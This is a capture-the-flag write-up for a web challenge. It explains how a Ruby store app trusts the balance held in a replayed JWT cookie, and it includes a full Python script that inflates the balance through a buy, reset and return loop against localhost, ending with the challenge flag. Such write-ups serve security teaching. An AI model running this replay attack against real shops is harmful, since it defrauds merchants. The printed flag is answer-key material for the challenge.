In this web exploitation challenge, we’re tasked with buying the flag off of an online store, but we don’t have enough money…
Solution
Upon landing at the home page, we’re greeted with a welcome message and are told what the store sells: Quotes from an anime series. If we try to explore the different products, we’re met with an “Unauthorized Access” page, so it looks like we’ll have to register an account via the “Sign Up” link and log in.
After completing the above steps, we’re redirected to the home page and can see that the links in the top right corner have changed. If we check out the “Products” page, there are a few characters that we can buy quotes from, with one called “Flag”. If we try to buy it right away though, we get an error saying that we have insufficient funds. This can be confirmed by checking our profile, which shows that we only have $100. Looks like we’re going to need to find a way to increase our balance if we want to buy the flag.
Analyzing the Source Code
If we take a look at app.rb
within the source code of the application, we notice a few things about how it operates:
- All quotes, including the flag, are stored in a constant variable called
PRODUCTS
- After logging in, we’re given a cookie in the form of a signed JWT that encodes our email and balance. This cookie is called “jwt”
- A helper function called
logged_in()
decodes and verifies our JWT using the secret key. An error is raised if decoding and verification fails, which other functions use to return a 403 error - Every time we buy a quote, the price is deducted from our current balance. The new balance is sent in the response via a JWT in the
Set-Cookie
header - Every time we return a quote, the price is added to the balance obtained from our JWT
Due to the fact that we don’t know the signing key, we can’t forge our own JWT and update the balance to whatever we want. That being said, the function that handles returning quotes doesn’t seem to care what our initial balance is, only that it’s in a valid JWT…
A Generous Return Policy
The first thing that the code for /return
does is store the JWT payload into different variables:
data = JWT.decode(request.cookies["jwt"], SECRET_KEY, true, { algorithm: "HS256" })
users[data[0]["email"]][:balance] = data[0]["balance"]
product_index = params[:product_index].to_i
user_email = current_user["email"]
It then finds the quote that we bought and adds the value of it to our balance while removing it from our inventory:
if product_index >= 0 && product_index < users[user_email][:quotes].size
product = users[user_email][:quotes][product_index]
for i in 0..PRODUCTS.size
if PRODUCTS[i][:Product] == product
product_index_ = i
break
end
end
users[user_email][:balance] += PRODUCTS[product_index_][:price]
users[user_email][:quotes].delete_at(product_index)
Then, our email and the updated balance is encoded into a new JWT and sent back in the application response via the Set-Cookie
header:
user_info = {
email: user_email,
balance: users[user_email][:balance]
}
new_token = JWT.encode(user_info, SECRET_KEY, "HS256")
response.set_cookie("jwt", value: new_token, path: "/")
Notice that there’s no check on the value of the balance before it gets updated. If we possess a JWT that contains a balance greater than the balance we have before we request a return, we can set the value of our cookie to the “older” JWT, which tricks the application into thinking our balance is higher than what it should be and increases our balance through the return. Here’s what this would look like in practice:
- After signing up and logging in, we start with a balance of $100. We save this cookie somewhere for later use
- We buy as many quotes as our balance allows. In this case, we buy 5 of the $20 quotes, which brings our balance to $0
- We replace the current JWT with the one we stored earlier, resetting our balance to $100
- We return all the quotes we bought, which adds $100 to our balance before the return. This gives us a JWT with a balance of $200, which we store
- We repeat steps 2-4 until we have a balance over $1000
- Buy the flag and win
Exploit Automation
It will take multiple iterations of the above steps to get to a balance over $1000, so we can use the Python to automate this:
import requests
import base64
import json
# various endpoints
BASE_URL = "http://localhost:4567"
SIGNUP_URL = f"{BASE_URL}/signup"
LOGIN_URL = f"{BASE_URL}/login"
BUY_URL = f"{BASE_URL}/buy"
RETURN_URL = f"{BASE_URL}/return"
PROFILE_URL = f"{BASE_URL}/profile"
"""
This function takes the name, value, path, and domain of the "jwt" cookie from a requests.Session object and stores it in a variable for later use. Without the path and domain, trying to update the value of "jwt" will instead result in a second cookie being added to the request of a different scope.
"""
def get_jwt_cookie(session):
for cookie in session.cookies:
if cookie.name == 'jwt':
return {
'name': cookie.name,
'value': cookie.value,
'path': cookie.path,
'domain': cookie.domain
}
return None
"""
This function takes the JWT stored in a requests.Session object, decodes the payload using the base64 module, and returns the balance as an integer.
"""
def get_balance(session):
jwt_token = session.cookies.get_dict().get('jwt')
payload = jwt_token.split('.')[1]
payload += '=' * ((4 - len(payload) % 4) % 4) # Add padding for Base64 decoding
decoded = base64.b64decode(payload).decode('utf-8')
return int(json.loads(decoded).get('balance', 0))
"""
This function buys quotes (specifically, the one that costs $20) and displays the current balance until the balance is $0; then the number of products bought is returned. The post() function automatically updates the value of the "jwt" cookie.
"""
def buy(session):
products_purchased = 0
while get_balance(session) > 0:
product_data = {"product_id": 2}
response = session.post(BUY_URL, data=product_data)
print(f"Purchase successful! Remaining Balance: ${get_balance(session)}")
products_purchased += 1
return products_purchased
# function to buy the flag quote and print the flag from the user's profile
def buy_flag(session):
product_data = {"product_id": 4}
response = session.post(BUY_URL, data=product_data)
profile_response = session.get(PROFILE_URL)
flag = profile_response.text.split('MetaCTF{')[1].split('}')[0]
print(f"Flag: MetaCTF{{{flag}}}")
"""
This function requests returns for the number of products purchased and displays the updated balance. The post() function automatically updates the value of the "jwt" cookie.
"""
def return_products(session, products_purchased):
for i in range(products_purchased):
return_data = {"product_index": 0}
response = session.post(RETURN_URL, data=return_data)
print(f"Product {i + 1} returned successfully! New Balance: ${get_balance(session)}")
def main():
email = "meta@meatctf.com"
password = "Password123!"
# Data for signup and login
signup_data = {"email": email, "password": password}
login_data = {"email": email, "password": password}
# Create a session to manage cookies
session = requests.Session()
# Sign up
session.post(SIGNUP_URL, data=signup_data)
# Log in
session.post(LOGIN_URL, data=login_data)
# store cookie with original balance, buy products, set cookie, and return products until balance is $1000 or greater
while get_balance(session) < 1000:
jwt = get_jwt_cookie(session)
purchased = buy(session)
# clear cookies and set "jwt" to the cookie stored earlier
session.cookies.clear()
session.cookies.set(jwt['name'], jwt['value'], path=jwt['path'], domain=jwt['domain'])
print(f"Balance reset: {get_balance(session)}")
return_products(session, purchased)
# get and display flag
buy_flag(session)
print("Exploit completed!")
if __name__ == "__main__":
main()
After running the exploit code, the flag is printed to our terminal:
Flag: MetaCTF{C00k13s_4r3_4_B4d_Pl4c3_T0_5t0r3_D4t4}